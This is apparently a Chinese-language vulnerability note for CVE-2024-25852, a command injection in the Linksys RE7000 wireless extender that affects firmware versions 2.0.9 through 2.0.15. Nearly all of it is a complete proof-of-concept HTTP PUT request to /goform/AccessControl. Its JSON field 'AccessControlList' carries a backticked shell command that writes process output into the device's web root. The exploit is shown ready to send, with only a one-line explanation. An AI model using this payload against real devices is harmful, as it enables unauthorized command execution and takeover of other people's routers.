Linksys-RE7000无线扩展器命令执行漏洞(CVE-2024-25852).md

Linksys-RE7000无线扩展器命令执行漏洞(CVE-2024-25852)

RE7000无线扩展器在访问控制功能点的“AccessControlList”参数中存在命令执行漏洞。攻击者可以利用该漏洞获取设备管理员权限。

受影响的版本：

RE7000 v2.0.9、RE7000 v2.0.11、RE7000 v2.0.15

poc

PUT /goform/AccessControl HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 17 Sep 2020 11:24:58 GMT
If-None-Match: "14600429"
Content-Length: 81

{"AccessPolicy":"0","AccessControlList":"`ps>/etc_ro/lighttpd/RE7000_www/1.txt`"}